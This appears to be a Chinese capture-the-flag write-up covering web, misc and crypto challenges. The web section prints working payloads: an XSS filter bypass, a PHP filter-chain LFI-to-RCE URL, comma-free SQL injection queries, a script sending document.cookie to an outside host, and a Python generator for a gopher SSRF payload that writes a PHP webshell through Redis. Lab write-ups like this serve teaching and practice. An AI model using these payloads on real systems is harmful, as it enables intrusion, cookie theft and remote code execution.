解法不唯一
Web
easy_web(100)
这里是使用js限制了无法打开控制台
查看页面源代码发现是会把括号替换为空

不过在js中replace函数是只会替换一次,所以
payload:
1
|
?data=<><body onload=alert(/xss/)>
|
easy_php(150)
该题的考点的是通过LFI 本地文件包含到RCE
主要的思路就是利用php伪协议的转换过滤器,通过字符集转换来生成特定的内容,同时利用base64“宽松的解析”(当需要解析的字符串中含有base64表中不存在的字符时,不会报错,而是将其丢弃并继续解析),将其中不可见的字符丢掉,只剩下我们想要的结果。
详情参考:
https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d
http://tttang.com/archive/1395/
https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
https://blog.mo60.cn/index.php/archives/502.html
payload如下:
1
|
http://124.222.135.83:10010/?file=php://filter/convert.base64-encode|convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UTF16|convert.iconv.L6.UTF-16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CN.ISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=kfc
|
post传参数

easy_sql(150)
该题的考点的是sql注入bypass逗号
可以通过fuzz得到过滤了逗号
这里可以使用join来代替逗号
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
#回显位
?id=-1 union select * from ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c) #
#查询数据库
?id=-1 union select * from ((SELECT 1)a JOIN (SELECT database())b JOIN (SELECT user())c) #
#查询表名
?id=-1 union select * from ((SELECT 1)a JOIN (select table_name from information_schema.tables where table_schema=database() )b JOIN (SELECT 3)c) #
#查询字段名
?id=-1 union select * from (select 1) a join (select group_concat(column_name) from information_schema.columns where table_name='kfc') b join (select 3) c #
#查询id位
?id=-1 union select * from (select 1) a join (select group_concat(id) from kfc) b join (select 3) c#
#查询数据
?id=-1 union select * from (select 1) a join (select group_concat(content) from kfc where id=2147483647) b join (select 3) c#
|

message_board(200)
题目由来是2022黑盾杯决赛的留言板,选取第一部分来做题目
题目环境如下:https://github.com/Junehck/xxs-vul 大佬复现环境blog:JunBlog
在自己的服务器上监听个端口然后使用img标签来获取cookie
1
2
3
4
|
<script>
img= '<img src="http://xxxxx/?cookie= '+encodeURIComponent(document.cookie)+'" />';
document.write(img);
</script>
|
等待一会成功获取到cookie里面的flag

EzWeb(200)
该题的考点是常见的服务的配置位置,和通过ssrf打本地的redis,然后写入webshell或者crontab反弹shell
常见的ssrf一般是打内网的服务,但是为了降低难度,把题改成了打本地的redis,但是这边是把默认的redis的端口从6379改成了6378,防止一把梭
可以使用dict来测试本地开的端口,但是测试完可能会发现常见的都没有打开
但是经过测试能够使用file协议进行文件读取
可以用这个ssrf能读取文件的漏洞点去读取服务默认的配置
1
2
3
4
5
6
7
8
9
|
MySQL 常见的配置文件路径:
MySQL的my.cnf配置文件:/etc/my.cnf
MySQL数据库文件位置:/usr/lib/mysql
Redis 常见的配置文件路径:
/etc/redis.conf
/etc/redis/redis.conf
/usr/local/redis/etc/redis.conf
/opt/redis/ect/redis.conf
|
因为 Redis 配置信息记录在 redis.conf 配置文件中,结合这个ssrf能读取文件的漏洞点,那么这时来尝试借助文件包含漏洞来读取 redis 的配置文件信息
成功读取到 /etc/redis/redis.conf 配置文件,上面有端口信息
1
|
payload:file:///etc/redis/redis.conf
|
我们可以使用dict协议连接
1
|
payload:dict://127.0.0.1:6378
|
发现需要密码
直接搜索 requirepass 关键词来定位寻找密码:

有密码的话先使用 dict 协议进行密码认证看看:
但是因为 dict 不支持多行命令的原因,这样就导致认证后的参数无法执行,所以只能使用 gopher 协议
gopher payload生成器:https://github.com/tarunkant/Gopherus
redis生成gopher利用代码的脚本,包括认证和非认证功能, 主要是在原始代码Gopherus里redis模块的基础上增加authPrePayload用于认证:https://github.com/LS95/gopher-redis-auth
上面的两个payload生成器都可以使用。我这里是使用这里使用七友师傅编写的python脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
import urllib.parse
protocol = "gopher://"
ip = "127.0.0.1"
port = "6378"
shell = "\n\n<?php system($_GET['cmd']); ?>\n\n"
filename = "lyes.php"
path = "/var/www/html"
passwd = "qziectf666"
cmd = ["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x.replace("${IFS}"," ")))) + CRLF + x.replace("${IFS}"," ")
cmd += CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
# print(payload)
print(urllib.parse.quote(payload))
|
发包测试

接着访问写入的webshell



Misc
Park(100)
百度识图(park.jpg) or 有出去过的话应该也能一眼看出来……

你会用搜索引擎吗?(100)
如何找到最新的RFC文档?截至12.04,格式为qziectf{RFCxxxx}
百度可以找到官网入口
在官网中的高级搜索中可以找到最新的
RFC Search Detail (rfc-editor.org)

滑倒最底下就是最新的了
easy流量分析(100)
通过分析发现是在通过网页在进行base64加密的操作
在Referer中也能看出来
(随便找个http的包追踪流就能够看到)

不过这边加密前的也是个base64
获取加密提交的原文,通过base64解密
cXppZWN0ZnsxOGNjYTE0NTllYjE0MDAzYzNmZjcyMmYwOGE5OGI5ZX0=
1
|
qziectf{18cca1459eb14003c3ff722f08a98b9e}
|
word_no_word!(100)
2022黑盾杯复赛原题
doc基本文件就是ZIP格式的
所以把doc改名成zip打开,在word/document.xml文件中可以找到flag
1
|
qziectf{heyiamherejustinthedocx}
|
easy_QR(100)
拼接好二维码
扫码得到
ZG12cnBnc3tkaG5ha3Zhb3J2fQ==
BASE64解密得到
再凯撒密码 or 栅栏密码 or ROT13解密
hacker!!!(150)
hacker偷走了我的密码!
url解码后通过日志可以分析出是sql盲注采用二分法的操作
1
|
qziectf{KFc_i_1iKe_vm50}
|
我的flag呢?(150)
打开flag.txt ,查看文件的字符数,或者在Linux下用vim打开都可以看出来是0宽加密
全选复制,0宽隐写解密
http://330k.github.io/misc_tools/unicode_steganography.html

解密得到
1
|
0010 0011 11 1 0101 0 1101 0000100 11111 11000 011 0111 11110 11110 011 0101 1 00011 00111 10 1 10 0101 011 10 10000 1101 00001 11110 11111 00111 00000 10000 00111 00011 10000 0111 0111 0101 011 0000010
|
将0替换成-
将1替换成.
得到莫斯密码
1
|
--.- --.. .. . -.-. - ..-. ----.-- ..... ..--- -.. -... ....- ....- -.. -.-. . ---.. --... .- . .- -.-. -.. .- .---- ..-. ----. ....- ..... --... ----- .---- --... ---.. .---- -... -... -.-. -.. -----.-
|
其中的%u7b为{ %u7d为}
1
|
qziectf{52db44dce87aeacda1f945701781bbcd}
|
找回丢掉的东西(150)
- 以文件的形式加载磁盘
- 重建MBR或者修改回来 可以看到数据被篡改
可逆的数据修改主要是以下几个
然后XOR FF进行按位异或
- 重新加载磁盘
发现已经可以识别到文件系统
4、进入分区发现可以识别到文件,定位到文件的位置
rar压缩包的文件头是0x52617221(Rar!)写入后提取出来
5、爆破RAR压缩包
根据文件名提示2019-top100 (password1)
6、解压后得到图片
JPG文件头:FFD8
JPG文件尾:FFD9
这里可以用winhex分离,也可以用工具直接分离
Crypto
Sign_in(50)
16进制转换文本
717a69656374667b77656c636f6d655f325f717a69656374667d
https://www.sojson.com/hexadecimal.html
1
|
qziectf{welcome_2_qziectf}
|
类型-7(100)
Type7混淆加密,是一种可逆的XOR密码,某科设备做ospf 接口认证的时候可以配置加密类型为Type7。
https://www.bejson.com/encrypt/type7_decode/
3349495D0B000C10420C55000601025F5902565A5232373231386433346437316238356536366236657D
1
|
qziectf{4b34464bd1be27218d34d71b85e66b6e}
|
Web渗透
层层穿透1
flag1 www根目录
略~
层层穿透1-2
flag2 root目录
略~
层层穿透2
略~
层层穿透3
略~